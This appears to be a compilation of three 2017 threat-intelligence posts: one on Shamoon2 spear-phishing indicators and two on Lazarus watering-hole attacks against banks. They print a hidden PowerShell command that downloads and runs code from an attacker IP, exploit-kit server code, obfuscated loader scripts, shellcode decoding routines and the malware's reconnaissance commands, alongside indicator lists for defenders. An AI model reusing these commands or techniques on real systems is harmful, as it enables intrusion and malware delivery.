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+Additional Insights on Shamoon2
+arbornetworks.com/blog/asert/additional-insights-shamoon2/
+2/21/2017
+By Neal Dennis on 02/21/2017.
+Posted in analysis, attack lifecycle, Interesting Research, Malware, threat analysis.
+IBM analysts recently unveiled a first look at how threat actors may have placed Shamoon2
+malware on systems in Saudi Arabia. Researchers showcased a potential malware lifecycle
+which started with spear phishing and eventually led to the deployment of the disk-wiping
+malware known as Shamoon. Their research showcased a set of downloaders and domains that
+could potentially lead to a more extensive malware distribution campaign.
+While researching elements in the IBM report, ASERT discovered additional malicious domains, IP addresses, and
+artifacts. The basic functionality of the new documents and their PowerShell components matched what was
+previously disclosed. For more information on the overall capabilities of the malware, please review IBM
+s ongoing
+research. It is our hope that by providing additional indicators, end-point investigators and network defenders will
+be able to discover and mitigate more Shamoon2 related compromises.
+Initial Discoveries
+The following new samples were likely delivered via similar spear phishing campaigns as described in IBM
+research. All three shared the same IPs and URLs, also provided below. These samples were located by pivoting on
+document attributes. In this case, a sample from the IBM report indicated the document author 
+gerry.knight
+ which
+led us to the following three additional samples. MD5
+2a0df97277ddb361cecf8726df6d78ac
+5e5ea1a67c2538dbc01df28e4ea87472
+d30b8468d16b631cafe458fd94cc3196
+104.218.120[.]128
+69.87.223[.]26
+5.254.100[.]200
+URLs
+analytics-google[.]org:69/checkFile.aspx
+analytics-google[.]org
+69.87.223[.]26:8080/p
+The following is a screenshot of a macro-enabled document captured from sample
+5e5ea1a67c2538dbc01df28e4ea87472:
+Once enabled the extracted macro executed the following:
+powershell.exe -w hidden -noni -nop -c 
+iex(New-Object
+System.Net.WebClient).DownloadString(\
+http://69.87.223.26:8080/p\
+Pivoting on Passive DNS
+From the previous samples, we performed a passive DNS lookup on the IPs. We found get.adobe.go-microstf[.]com
+hosted at 104.218.120[.]128 around the time this campaign was ongoing, November 2016.
+Researching the domain go-microstf[.]com, hosted at 45.63.10[.]99, revealed yet another iteration of malicious
+executables. In this case, a URL used to download the PowerShell component shared a naming convention found in
+the IBM report, http://69.87.223[.]26:8080/eiloShaegae1 and connected to the IP address used by the previous
+three samples. The following are IOCs related to this domain:
+83be35956e5d409306a81e88a1dc89fd
+45.63.10[.]99
+69.87.223[.]26
+URLs
+go-microstf[.]com
+69.87.223[.]26:8080/eiloShaegae1
+go-microstf[.]com/checkfile.aspx
+The domain go-microstf[.]com was originally set up to spoof Google Analytics login page. The following screenshot
+is from the malicious domain:
+Possible Connections to Iranian state-sponsored Kittens
+Finally, research yielded a relatively unique sample. This particular iteration was submitted to VirusTotal on
+September 16, 2016. The majority of samples analyzed to date were submitted no earlier than mid-October, with
+most being submitted in January 2017 or later. We were able to discover this particular version by diving further into
+connections to analytics-google[.]org. Unlike newer samples, this one created a unique file 
+sloo.exe
+. The file was
+created at C:\Documents and Settings\Admin\Local Settings\Temp\sloo.exe. In addition to this file, the sample also
+contacted 104.238.184[.]252 for the PowerShell executable.
+Researchers at Palo Alto have attributed sloo.exe and related activities to threat actors of a likely Iranian statesponsored origin which they
+ve named Magic Hound. The group Magic Hound is linked via infrastructure and tools
+to the Rocket Kitten threat actor group although Palo Alto cannot confirm the extent of any relationship between the
+two groups.
+Dell Secureworks analysts recently concluded that domains discussed in the IBM report were linked to the Iranian
+PuppyRAT. In addition, Dell analysts have assessed with high-confidence these activities are attributable to Iranian
+state-sponsored activities.
+IOCs for this version were:
+07d6406036d6e06dc8019e3ade6ee7de
+104.238.184[.]252
+5.254.100[.]200
+URLs
+analytics-google[.]org:69/checkFile.aspx
+Conclusion
+These additional IOCs will hopefully provide more context into the ongoing threat. The link to possible Iranian threat
+actors supports ongoing analysis that Shamoon2 was perpetrated by Iranian state-sponsored threat actors. The last
+sample discussed may be malware-0 or at least part of the overall development and subsequent deployment of tools
+used to install Shamoon on Saudi systems.
+Consolidated IOC list:
+2a0df97277ddb361cecf8726df6d78ac
+5e5ea1a67c2538dbc01df28e4ea87472
+d30b8468d16b631cafe458fd94cc3196
+83be35956e5d409306a81e88a1dc89fd
+07d6406036d6e06dc8019e3ade6ee7de
+104.218.120[.]128
+69.87.223[.]26
+5.254.100[.]200
+45.63.10[.]99
+104.238.184[.]252
+URLs
+analytics-google[.]org:69/checkFile.aspx
+analytics-google[.]org
+69.87.223[.]26:8080/p
+go-microstf[.]com
+69.87.223[.]26:8080/eiloShaegae1
+get.adobe.go-microstf[.]com
+go-microstf[.]com/checkfile.aspx
+Tags: disk wiper, IOCs, Iran, Saudi Arabia, Shamoon, Shamoon2
+Lazarus
+ False Flag Malware
+baesystemsai.blogspot.co.uk/2017/02/lazarus-false-flag-malware.html
+Written by Sergei Shevchenko and Adrian Nish
+BACKGROUND
+We continue to investigate the recent wave of attacks on banks using watering-holes on at least two financial
+regulator websites as well as others. Our initial analysis of malware disclosed in the BadCyber blog hinted at the
+involvement of the 'Lazarus' threat actor. Since the release of our report, more samples have come to light, most
+notably those described in the Polish language niebezpiecznik.pl blog on 7 February 2017.
+MD5 hash
+Filename
+Compile Time
+File Info
+Submitted
+9216b29114fb6713ef228370cbfe4045
+srservice.chm
+8e32fccd70cec634d13795bcb1da85ff
+srservice.hlp
+e29fe3c181ac9ddbb242688b151f3310
+srservice.dll
+2016-10-22
+08:08
+Win64 DLL
+78 KB
+2017-01-28
+11:58
+9914075cc687bdc352ee136ac6579707
+fdsvc.exe
+2016-08-26
+04:19
+Win64 EXE
+60 KB
+2017-02-05
+15:14
+9cc6854bc5e217104734043c89dc4ff8
+fdsvc.dll
+2016-08-26
+04:11
+Encrypted
+470 KB
+2017-02-05
+15:15
+Of the hashes provided, only three samples could be found in public malware repositories. All three had been
+submitted from Poland in recent weeks.
+In the analysis section below we examine these and the 
+false flag
+ approach employed by the attackers in order to
+spoof the origin of the attack. The same 
+false flag
+ approach was also found in the SWF-based exploit mentioned in
+our previous blogpost:
+MD5 hash
+Filename
+File Info
+Submitted
+6dffcfa68433f886b2e88fd984b4995a
+cambio.swf
+Adobe Flash
+2016-12-07 23:15
+Here we
+ll analyse these files as well as shed further light on the watering-hole exploit kit code itself, in the hope this
+aids further detection and network defence.
+ANALYSIS
+Sample #1 
+ srservice.chm
+1/17
+Most likely, this file is an encrypted backdoor that is decrypted and injected by DLL loader. The filename
+srservice.chm is consistent with the method in which a known Lazarus toolkit module constructs CHM and HLP
+file names:
+%SYSTEMROOT%\Help\%MODULE_NAME%.chm
+%SYSTEMROOT%\Help\%MODULE_NAME%.hlp
+Sample #2 
+ srservice.hlp
+Most likely, this file is an encrypted configuration file, which is decrypted and loaded by the sample #1
+(srservice.chm).
+Sample #3 
+ srservice.dll
+This DLL loads, decrypts and injects the 'CHM' file into the system lsass.exe process.
+Sample #4 
+ fdsvc.exe
+This file is a command line tool that accepts several parameters such as encrypted file name and process ID. The
+tool reads and decrypts the specified file, and then injects it into the specified process or into the system process
+explorer.exe.
+The encryption consists of a running XOR, followed with RC4, using the 32-byte RC4 key below:
+A6 EB 96 00 61 B2 E2 EF 0D CB E8 C4 5A F1 66 9C
+A4 80 CD 9A F1 2F 46 25 2F DB 16 26 4B C4 3F 3C
+Sample #5 
+ fdsvc.dll
+The file fdsvc.dll is an encrypted file, successfully decrypted into a valid DLL (MD5:
+889e320cf66520485e1a0475107d7419) by the aforementioned executable fdsvc.exe.
+Once decrypted, it represents itself as a bot that accepts the C&C name and port number(s) as a string parameter
+that is used to call the DLL. The parameter is encoded with an XOR loop that includes XOR key cEzQfoPw.
+Multiple C&C servers can be delimited with the ' |' character and port numbers are delimited from the C&C servers
+with the ':' character.
+Once the bot has established communication with the remote C&C, it uses several transliterated Russian words to
+either indicate the state of its communication or issue backdoor commands, such as:
+2/17
+Word
+State/Backdoor Command
+"Nachalo"
+start communication session
+"ustanavlivat"
+handshake state
+"poluchit"
+receive data
+"pereslat"
+send data
+"derzhat"
+maintain communication session
+"vykhodit"
+exit communication session
+The binary protocol is custom. For example, during the "ustanavlivat" (handshake) mode, the bot accepts 4 bytes,
+which are then decrypted. The decryption is a loop that involves multiple XOR operations performed over the
+received data. Once decrypted, the 4 bytes indicate the size of the next data chunk to be received.
+The next received data chunk is also decrypted, and its contents checked to see whether it's one of the backdoor
+commands.
+For example, the "poluchit" command instructs the bot to receive the file, and the "pereslat" (send) command
+instructs the bot to upload the file. The received "poluchit" command may also contain a URL, marked with another
+transliterated Russian word "ssylka" (link). In this case, the remote file is fetched in a separate thread. If a received
+data chunk contains the command "vykhodit", the bot quits its backdoor loop.
+The bot implements the SSL/TLS protocol, and is based on a source code of "Curl v7.49.1". Hence, it is able to
+transfer files via HTTP, HTTPS, FTP, SMTP and many other protocols, with full support of user/password
+authentication (Basic, Digest, NTLM, Negotiate, Kerberos), proxies and SSL certificates.
+Russian language used in fdsvc.dll
+In spite of some 'Russian' words being used, it is evident that the malware author is not a native Russian speaker.
+Of our previous examples, five of the commands were likely produced by an online translation. Below we provide
+the examples and the correct analogues for reference:
+Word
+Type of error
+Correct analogue
+"ustanavlivat"
+omitted sign at the end, verb tense error
+"ustanovit'" or "ustanoviti"
+"poluchit"
+omitted sign at the end
+"poluchit'" or "poluchiti"
+"pereslat"
+omitted sign at the end
+"pereslat'" or "pereslati"
+"derzhat"
+omitted sign at the end
+"derzhat'" or "derzhati"
+3/17
+"vykhodit"
+omitted sign at the end, verb tense error
+"vyiti"
+Another example is "kliyent2podklyuchit". This is most likely a result of an online translation of "client2connect"
+(which means 'client-to-connect'). In this case, the two words "client" and "connect" were translated separately, then
+transliterated from the Russian pronunciation form into the Latin alphabet and finally joined to produce
+"kliyent2podklyuchit".
+Such a result may look impressive to the bot's author, but would be difficult to understand for native Russian
+speakers.
+Here we provide an example of translating the word "client" in Russian - the word "kliyent" here only demonstrates
+phonetic pronunciation, not how it's actually written in a transliterated form. When formed using the Latin alphabet, it
+would actually be written "client" or "klient".
+Due to such inconsistencies, we conclude that the Russian language is likely used as a decoy tactic, in order to
+spoof the malware
+s country of origin.
+Sample #6 
+ cambio.swf
+During the investigation of the watering-hole incident, the owner of a compromised website shared with us a
+malicious implant that was added into the site, presumably by using an exploit against JBoss 5.0.0.
+The script is called view_jsp.java and is accessed from the watering-hole website as view.jsp.
+This script is responsible for serving cambio.swf.
+The infection starts from a primary web site being compromised so that its visitors are redirected into a secondary
+website, calling its view.jsp script from an added IFrame. The initial request contains parameter pagenum set to
+1, such as:
+"GET /[PATH]/view.jsp?pagenum=1 HTTP/1.1"
+This begins the profiling and filtering to identify potential victims. For example, the script then checks to see if the
+4/17
+client's IP is black-listed. If so, such initial request is rejected.
+Next, the script checks if the client
+s IP is white-listed (i.e. targeted). If not white-listed, it is also rejected. Hence,
+unless the visitor
+s IP is on the attackers
+ list, the script will not attempt to infect their machine. This helps the
+infected websites stay undetected for relatively long period of time, as they only serve exploits to the selected
+targets.
+In the next stage of the script, it builds and serves back to the client an HTML page with an embedded JavaScript
+that detects the type of client
+s browser (Internet Explorer, Google Chrome, Firefox, Safari, or Opera), OS version,
+and the loaded plugins, such as Adobe Flash and Microsoft Silverlight.
+The script executed on a client side then builds a form, and submits it back to the gateway script, as shown below:
+The submitted form specifies the pagenum parameter to be set to 2, to advance the script to the next step:
+5/17
+Once the script accepts the incoming request and finds the form's pagenum value is 2, it reads other fields from the
+submitted form and decides which exploit to serve back to the client.
+At the time of writing, the exploit kit known to serve back two exploits, for Adobe Flash and Microsoft Silverlight,
+though these could be expanded upon as needed.
+The exploits can be individually enabled or disabled by the attackers with the standalone file config.dat. For
+example, to enable both exploits (flag=1), the contents of this file can be set to:
+2016-0034:1
+0000-0001:1
+where 2016-0034 identifies the Silverlight exploit, and 0000-0001 is the Flash exploit.
+If the script detects that the submitted form contains a non-empty version of Silverlight browser plugin, it will
+generate and serve back a Silverlight exploit. If the submitted form has a non-empty version of Adobe Flash browser
+plugin, the script will generate and serve back the Flash exploit. If the client has both plugins loaded within the
+browser, then the script will serve the Flash exploit only.
+NOTE: the script only serves the Flash exploit if the browser is Internet Explorer.
+The exploits are generated by the functions:
+ genExp_20160034() 
+ to generate Silverlight exploit
+ genExp_00000001() 
+ to generate Flash exploit
+The latter is explained in further detail below. First, the script builds URL string named as download_url:
+String PARAMNAME_UID = "uid";
+6/17
+String PARAMNAME_PAGENUM = "pagenum";
+String PARAMNAME_EXPLOITID = "eid";
+String PARAMNAME_STATUS = "s";
+String PARAMNAME_DATA = "data";
+download_url = request.getRequestURL()
+"?" + PARAMNAME_UID + "=" + uid +
+"&" + PARAMNAME_PAGENUM + "=3" +
+"&" + PARAMNAME_EXPLOITID +
+"=" + exploit.get("eid");
+download_url = download_url +
+"&" + PARAMNAME_STATUS + "=2" +
+"&" + PARAMNAME_DATA + "=";
+For example, the URL string may look like:
+http://[WEB_SITE]/view.jsp?uid=30304811&pagenum=3&eid=00000002&s=2&data=
+Note that the pagenum parameter of the URL has now advanced to 3 (third step of the view.jsp execution).
+This URL string will be embedded by the genExp_00000001() function into the body of the shellcode.
+The output of the genExp_00000001() function is JavaScript that has the following format 
+ this script will be
+executed inside the client's browser:
+var laskfji = 'PGh0bWw+..'; // long string
+here
+asdlfkj = function(s) {
+// base64-decode string s
+7/17
+var polkio = asdlfkj(laskfji);
+var poikea = 'document.write(polkio);';
+eval(poikea);
+Once the string s is base64-decoded by client-based JavaScript, it will look like a Flash object embedded into
+HTML:
+<html>
+<body>
+<object classid="clsid:d27cdb6e-ae6d-11cf-96b8444553540000"
+codebase="http://download.macromedia.com/.../swflash.cab"
+width="1"
+height="1" >
+<param name="movie" value="include/cambio.swf" />
+<param name="allowScriptAccess" value="always" />
+<param name="FlashVars"
+value="shell=558BEC83...00&Health=polki89jdm#ks@" />
+<param name="Play" value="true" />
+<embed type="application/x-shockwave-flash"
+width="1"
+height="1"
+src="include/cambio.swf"
+allowScriptAccess="always"
+FlashVars="shell=558BEC83...00&Health=polki89jdm#ks@"
+Play="true"/>
+</object>
+8/17
+</body>
+</html>
+As seen in the Flash object parameters, the SWF object is served from the website
+s path:
+include/cambio.swf
+However, the SWF object is also accompanied with 2 extra parameters:
+SWF Parameter
+Value
+"shell"
+558BEC83EC388D45C8C745F...
+"Health"
+polki89jdm#ks@
+By looking into the decompiled cambio.swf file, its ActionScript reveals that the SWF file indeed expects 2
+parameters: Health and shell.
+The value of Health is used as an XOR key to decode the binary blob orinBin, which is included in the SWF file.
+This blob is then loaded with loadBytes(), as shown below:
+objLoader = new Loader();
+this.params = loaderInfo.parameters;
+var key:String = params["Health"] as String;
+var pShell:String = params["shell"] as String;
+var objShellData:SharedObject =
+SharedObject.getLocal("Exp_Data");
+objShellData.clear();
+objShellData.data.shell = pShell;
+objShellData.flush();
+var blob:ByteArray = new orinBin() as ByteArray;
+var i:int = 0;
+while(i < blob.length)
+9/17
+blob[i] = blob[i] ^ key.charCodeAt(i % key.length);
+i++;
+blob.position = 0;
+objLoader.contentLoaderInfo.addEventListener("complete",fncomp);
+objLoader.loadBytes(blob);
+Below is the binary blob orinBin as seen within the SWF file:
+By knowing the value of Health parameter, it is now possible to use it as an XOR key to decode the orinBin blob
+within the SWF code.
+Once decrypted, the orinBin blob presents another SWF file. This time, it contains 3 encrypted blobs within:
+bin22, bin23, and bin24 seen below:
+The code decrypts the blobs with RC4, using "littleEndian" as the RC4 key. These blobs also turn out to be
+SWF files that contain the SWF exploit code.
+Internally, the ActionScript also uses transliterated Russian words, similar to the tactic seen in the bot code:
+Transliterated Russian words used in AS
+Translated from Russian
+Podgotovkaskotiny
+Preparation of farm animals
+10/17
+geigeigei3raza
+Hey, hey, hey 3 times
+chainik
+Dummy (a stupid person)
+chainikaddress
+Dummy's address
+poishemdatu
+s search for data
+poiskvpro
+Searching in 'pro'
+vyzov_chainika
+Calling the dummy (a stupid person)
+daiadreschainika
+Get address of the dummy
+runskotina
+Execute farm animals
+babaLEna
+Old woman Lena
+As seen in the table, while the words are technically Russian, their usage is out-of-context.
+In one code fragment, the ActionScript contains both "chainik" and "dummy":
+private function put_dummy_args(param1:*) :
+return chainik.call.apply(null,param1);
+private function vyzov_chainika() : *
+return chainik.call(null);
+As such, it is obvious that the word "dummy" has been translated into "chainik". However, the word "chainik" in
+Russian slang (with the literal meaning of "a kettle") is used to describe an unsophisticated person, a newbie; while,
+the word "dummy" in the exploit code is used to mean a "placeholder" or an "empty" data structure/argument.
+In the same way, it is likely the word "farm animals" was originally used to represent "a beast". Yet, it has been
+translated into a word that is only synonymous to "the beast" in a certain context.
+As a result, they have used the words "farm animals" across the shellcode instead of "beast"; which makes little
+sense.
+11/17
+As in the case of sample #5 ( fdsvc.dll), it is likely that this loose Russian translation, evidently performed by a
+non-Russian speaker, is intended to spoof the malware origin.
+Shellcode
+The SWF's ActionScript then loads and executes the shellcode that was passed to the SWF file. As with the Health
+parameter, by having access to the server-side code it is now possible to analyse what shellcode has been served to
+be executed via SWF file.
+The shellcode consists of 2,372 bytes of a Win32-code (in fact, 2,369 bytes padded with three zero bytes to make it
+4-byte aligned).
+The shellcode passed via the shell parameter consists of two parts:
+ The first part of the shellcode (818 bytes) creates a hidden process of notepad.exe. It then injects the
+second part of the shellcode into it using the VirtualAlloc() and WriteProcessMemory() APIs, and finally it runs
+the injected code with CreateRemoteThread() API.
+ The second part of the shellcode (1,551 bytes) is encoded with XOR 0x57:
+seg000:00000316
+ecx, 1551
+; counter
+seg000:0000031B
+ebx, 57h
+; XOR key
+seg000:00000320
+loop:
+seg000:00000320
+seg000:00000322
+counter
+; decrement
+seg000:00000323
+; advance pointer
+seg000:00000324
+test
+ecx, ecx
+seg000:00000326
+short loop
+[eax], ebx
+It's worth noting that both parts of the shellcode load the APIs similarly to all other tools from the Lazarus toolset,
+e.g.:
+urlmon_dll = 'mlrU';
+// Urlm
+urlmon_dll_4 = 'd.no';
+// on.d
+12/17
+urlmon_dll_8 = 'll';
+// ll
+URLDownloadToFileW = 'DLRU';
+// URLD
+URLDownloadToFileW_4 = 'lnwo';
+// ownl
+URLDownloadToFileW_8 = 'Tdao';
+// oadT
+URLDownloadToFileW_12 = 'liFo'; // oFile
+URLDownloadToFileW_16 = 'We';
+hLib = LoadLibrary(&urlmon.dll);
+ptr[8] = (*(int)ptr[4])(hLib,
+// eW
+// ptr[4]->GetProcAddress
+&URLDownloadToFileW);
+Once decoded, the second part of the shellcode reads the URL embedded at the end, then downloads and saves a
+file under a temporary file name, using the prefix "tmp".
+Next, it reads the temporary file into memory, decrypts it with the following XOR loop, starting from the 318th byte:
+for (i = 317; i < file_size; ++i )
+buffer[i] ^= 0xCC ^ ((buffer[i] ^ 0xCC) >>
+Next, it makes the decoded data executable by assigning it PAGE_EXECUTE_READWRITE memory protection mode,
+and calls it, as shown below:
+(*(void)(ptr[68]))(buffer + 318,
+// ptr[68]->VirtualProtect
+file_size - 318,
+PAGE_EXECUTE_READWRITE,
+&oldProtect);
+((void (*)(void))(buffer + 318))();
+// skip the first 318 bytes
+// CALL from the 318th byte
+13/17
+This way, the 2nd part of the shellcode downloads a binary from the same gateway script as before. pagenum=3
+means it's a 3rd step 
+ a step of serving the next chunk of the shellcode.
+To understand the next step we need to go back to the gateway script to see how it processes the pagenum=3
+request.
+When the script receives a pagenum=3 request, it checks the 's' URL parameter ('status'). Initially, this parameter
+is set to 2 ('s=2', as seen in the aforementioned URL embedded into the SWF exploit).
+Thus, the script will read and output the contents of 2 files stored on the web server:
+files/mark180789172360.ico
+files/back283671047171.dat
+The first file is likely a valid ICO file, is 318 bytes in size, and its contents are not encoded (hence the reason why
+the shellcode skips the first 318 bytes, and only decodes the rest).
+The second file is a 3rd chunk of the shellcode, and its contents are encoded.
+In addition to these 2 files, the output is appended with a URL. This time, it will specify pagenum parameter set to 3,
+but the status parameter s will now be set to 3. For example, the URL may look like:
+http://[WEB_SITE]/view.jsp?uid=30304811&pagenum=3&s=3
+The appended URL will then be encoded the same way as the file back283671047171.dat:
+for (int i = 0; i < len + 9; i++)
+byte var = b[i];
+byte temp = (byte)((var >> 4) &
+0x0F);
+var = (byte)(var ^ temp);
+var = (byte)(var ^ 0xCC);
+b[i] = var;
+This way, the encoded URL becomes an integral part of the 3rd part of the shellcode 
+ same way as the 2nd part of
+the shellcode was appended with a URL.
+Following that, the script serves back a blob that consists of three parts:
+ files/mark180789172360.ico, not encoded (318 bytes)
+ files/back283671047171.dat, encoded
+14/17
+ download URL, encoded
+It is served back as a binary file, disguised as an icon file probg[RANDOM].ico, probably in an attempt to bypass
+network sniffers (in other words, the encrypted shellcode is served appended to a valid icon file):
+response.setHeader("Accept-Ranges", "bytes");
+response.setHeader("Content-Length", String.format("%d", response_len));
+response.setHeader("Content-Disposition", "attachment;filename=\"probg" +
+rand.nextInt(9000) + 10000 + ".ico\"");
+response.setHeader("Content-Type", "application/octet-stream");
+Once this 3rd part of the shellcode is served back to the shellcode that runs on a client side, it will skip the first 318
+bytes, decode the rest and execute it. This will invoke another binary download 
+ this time identified with the status
+value of 3 ('s=3').
+The new binary is generated by view.jsp script and is almost identical to the 3rd part of the shellcode.
+The only difference is that the binary blob consists of these files:
+files/mark180789172360.ico, not encoded (318 bytes), as before
+files/meml102783047891.dat, encoded
+The 2nd file is now different, and the URL is no longer appended. The reason why the new binary does not need the
+URL embedded may be that this binary contains an actual malicious executable, detached, decoded, and executed
+by the shellcode, thus leading to a full compromise of the victim.
+Indeed, as seen in the web log below, the last GET request with the pagenum=3 and s=3 parameters is served with
+a 123,710-byte response 
+ large enough to accommodate a PE-executable:
+"GET /[PATH]/view.jsp?pagenum=1 HTTP/1.1" 200 66148
+"POST /[PATH]/view.jsp HTTP/1.1" 200 13991
+"GET /[PATH]/view.jsp?uid=30304811&pagenum=3&eid=00000002&s=2&data= HTTP/1.1" 200
+4642
+"GET /[PATH]/view.jsp?uid=30304811&pagenum=3&s=3 HTTP/1.1" 200 123710
+NOTE: At the time of analysis, the ICO/DAT files were not available. Hence, their contents remains unknown.
+Overall Scheme
+The following scheme illustrates the steps outlined above:
+15/17
+CONCLUSIONS
+Here we have analysed further files from the recent watering-hole attacks directed at Polish financial institutions and
+others. Evidently, the Lazarus group are continuing their campaign targeting banking networks. Their watering-hole
+mechanism is fairly sophisticated 
+ its multiple stages are designed to complicate analysis of its malware
+distribution, and at the same, stay undetected for as long as possible.
+Because of the previously disclosed attribution links, the group are also resorting to some trickery.
+Through reverse-engineering, we can see the use of many Russian words that have been translated incorrectly. In
+some cases the inaccurate translations have transformed the meaning of the words entirely. This strongly implies
+that the authors of this attack are not native Russian speakers and, as such, the use of Russian words appears to be
+a 'false flag'. Clearly the group behind these attacks are evolving their modus operandi in terms of capabilities 
+ but
+also it seems they
+re attempting to mislead investigators who might jump to conclusions in terms of attribution.
+APPENDIX A: INDICATORS OF COMPROMISE
+16/17
+MD5 Hashes
+9cc6854bc5e217104734043c89dc4ff8
+9914075cc687bdc352ee136ac6579707
+e29fe3c181ac9ddbb242688b151f3310
+9216b29114fb6713ef228370cbfe4045
+8e32fccd70cec634d13795bcb1da85ff
+889e320cf66520485e1a0475107d7419
+6dffcfa68433f886b2e88fd984b4995a
+Filenames
+cambio.swf
+cambio.xap
+mark180789172360.ico
+meml102783047891.dat
+back283671047171.dat
+URLs
+view.jsp?pagenum=1
+view.jsp?uid=
+17/17
+Lazarus & Watering-hole attacks
+baesystemsai.blogspot.co.uk/2017/02/lazarus-watering-hole-attacks.html
+On 3rd February 2017, researchers at badcyber.com released an article that detailed a series of attacks directed at
+Polish financial institutions. The article is brief, but states that "This is 
+ by far 
+ the most serious information
+security incident we have seen in Poland" followed by a claim that over 20 commercial banks had been confirmed
+as victims.
+This report provides an outline of the attacks based on what was shared in the article, and our own additional
+findings.
+ANALYSIS
+As stated in the blog, the attacks are suspected of originating from the website of the Polish Financial Supervision
+Authority (knf.gov[.]pl), shown below:
+From at least 2016-10-07 to late January the website code had been modified to cause visitors to download
+malicious JavaScript files from the following locations:
+hxxp://sap.misapor[.]ch/vishop/view.jsp?pagenum=1
+hxxps://www.eye-watch[.]in/design/fancybox/Pnf.action
+Both of these appear to be compromised domains given they are also hosting legitimate content and have done for
+some time. The malicious JavaScript leads to the download of malware to the victim
+s device.
+Some hashes of the backdoor have been provided in BadCyber's technical analysis:
+85d316590edfb4212049c4490db08c4b
+c1364bbf63b3617b25b58209e4529d8c
+1bfbc0c9e0d9ceb5c3f4f6ced6bcfeae
+The C&Cs given in the BadCyber analysis were the following IP addresses:
+125.214.195.17
+196.29.166.218
+LAZARUS MALWARE
+Only one of the samples referenced by BadCyber is available in public malware repositories. At the moment we
+cannot verify that it originated from the watering-hole on the KNF website 
+ but we have no reason to doubt this
+either.
+MD5 hash
+Filename
+File Info
+First seen
+Origin
+85d316590edfb4212049c4490db08c4b
+gpsvc.exe
+Win32
+(736 KB)
+2017-01-26
+07:46:24
+The file is packed with a commercial packer known as 'Enigma Protector'. Once unpacked it drops a known
+malware variant, which has been seen as part of the Lazarus group
+s toolkit in other cases over the past year.
+The unpacked executable takes several command line arguments:
+-l: list service names, available for its own registration
+-o: open specified event
+-t: set specified event
+-x [PASSWORD] -e [SERVICE_NAME]: drop/install DLL under specified [SERVICE_NAME]
+-x [PASSWORD] -f [SERVICE_NAME]: recreate the keys that keep the password for the next stage DLL, under
+the specified [SERVICE_NAME]
+The provided password's MD5 hash is used as an RC4 password. On top of that, there is one more RC4-round,
+using a hard coded 32-byte RC4 password:
+53 87 F2 11 30 3D B5 52 AD C8 28 09 E0 52 60 D0 6C C5 68 E2 70 77 3C 8F 12 C0 7B
+13 D7 B3 9F 15
+Once the data is decrypted with two RC4 rounds, the dropper checks the decrypted data contains a valid 4-byte
+signature: 0xBC0F1DAD.
+WATERING HOLE ANALYSIS
+The attacker content on the compromised sap.misapor[.]ch site was not accessible at the time of writing.
+However, archived versions of some pages can be found:
+http://web.archive[.]org/web/20170203175640/https://sap.misapor.ch/Default.html
+http://web.archive[.]org/web/20170203175641/https://sap.misapor.ch/Silverlight.js
+The Default.html contains code to load MisaporPortalUI.xap 
+ a Silverlight application which likely would
+contain the malicious first-stage implant. This is unfortunately not available for analysis currently.
+<div id="silverlightControlHost">
+<object data="data:application/x-silverlight," type="application/x-silverlight-2"
+width="100%" height="100%">
+<param name="source" value="ClientBin/MisaporPortalUI.xap?ver=1.0.7.0"/>
+<param name="onerror" value="onSilverlightError" />
+<param name="background" value="white" />
+<param name="minRuntimeVersion" value="3.0.40624.0" />
+<param name="autoUpgrade" value="true" />
+<a href="/web/20170203175640/http://go.microsoft.com/fwlink/?
+LinkID=149156&v=3.0.40624.0" style="text-decoration: none;">
+<img src="/web/20170203175640im_/http://go.microsoft.com/fwlink/?LinkId=108181"
+alt="Get Microsoft Silverlight" style="border-style: none"/>
+</a>
+</object>
+<iframe id='_sl_historyFrame' style='visibility:hidden;height:0;width:0;border:0px'>
+</iframe>
+</div>
+ADDITIONAL WATERING HOLES
+The eye-watch[.]in domain appears to have been used in watering-hole attacks on other financial sector
+websites. On 2016-11-08 we observed connections to the site referred from:
+hxxp://www.cnbv.gob[.]mx/Prensa/Paginas/Sanciones.aspx
+This is the page for the Comisi
+n Nacional Bancaria y de Valores (National Banking and Stock Commission of
+Mexico), specifically the portion of their site that details sanctions made by the Mexican National Banking
+Commission. This organisation is the Mexican banking supervisor and the equivalent of Poland's KNF.
+In this instance the site redirected to the following URL:
+hxxp://www.eye-watch[.]in/jscroll/images/images.jsp?pagenum=1
+At the time of writing the compromise is no longer present and no archived versions of the page exist to show where
+the compromise was located.
+A further instance of the malicious code appears to have been present on a bank website in Uruguay around 201610-26 when a PCAP of browsing to the website was uploaded to VirusTotal.com.
+This shows a GET request made to:
+hxxp://brou.com[.]uy
+Followed shortly after by connections to:
+www.eye-watch[.]in:443
+Unfortunately, the response was empty and it is not possible to assess what may have been delivered.
+ADDITIONAL MALWARE AND EXPLOIT ACTIVITY
+The compromised eye-watch[.]in domain has been associated with other malicious activity in recent months.
+Below is a list of samples which have used the site:
+MD5 hash
+Filename
+File Info
+First seen
+Origin
+4cc10ab3f4ee6769e520694a10f611d5
+cambio.xap
+(73 KB)
+2016-10-07
+03:09:43
+cb52c013f7af0219d45953bae663c9a2
+svchost.exe
+Win32 EXE
+(126 KB)
+2016-10-24
+12:10:33
+1f7897b041a812f96f1925138ea38c46
+gpsvc.exe
+Win32 EXE
+(126 KB)
+2016-10-27
+14:29:58
+911de8d67af652a87415f8c0a30688b2
+gpsvc.exe
+Win32 EXE
+(126 KB)
+2016-10-28
+11:50:15
+1507e7a741367745425e0530e23768e6
+gpsvc.exe
+Win32 EXE
+(126 KB)
+2016-11-15
+18:20:34
+The last 4 samples can loosely be categorised as the same malware variant, however the first sample appears to be
+a separate exploit (as detailed later).
+It is worth noting that these samples were all compiled after the domain began being used alongside the
+knf.gov[.]pl watering-hole. Additionally, the samples uploaded from Poland and Uruguay match with the
+watering-hole activity observed 
+ suggesting this is all part of the same campaign.
+Despite this potential connection to the Poland bank compromises, the malware is not particularly advanced 
+ for
+example using basic operations to gather system information. The malware attempts to run a series of commands
+with cmd.exe and then returns the result via the C&C, eye-watch[.]in.
+These commands are as follows:
+cmd.exe /c hostname
+cmd.exe /c whoami
+cmd.exe /c ver
+cmd.exe /c ipconfig -all
+cmd.exe /c ping www.google.com
+cmd.exe /c query user
+cmd.exe /c net user
+cmd.exe /c net view
+cmd.exe /c net view /domain
+cmd.exe /c reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet
+Settings"
+cmd.exe /c tasklist /svc
+cmd.exe /c netstat -ano | find "TCP"
+An example C&C beacon is seen below:
+GET /design/dfbox/list.jsp?action=What&u=10729854751740 HTTP/1.1
+Connection: Keep-Alive
+User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101
+Firefox/47.0
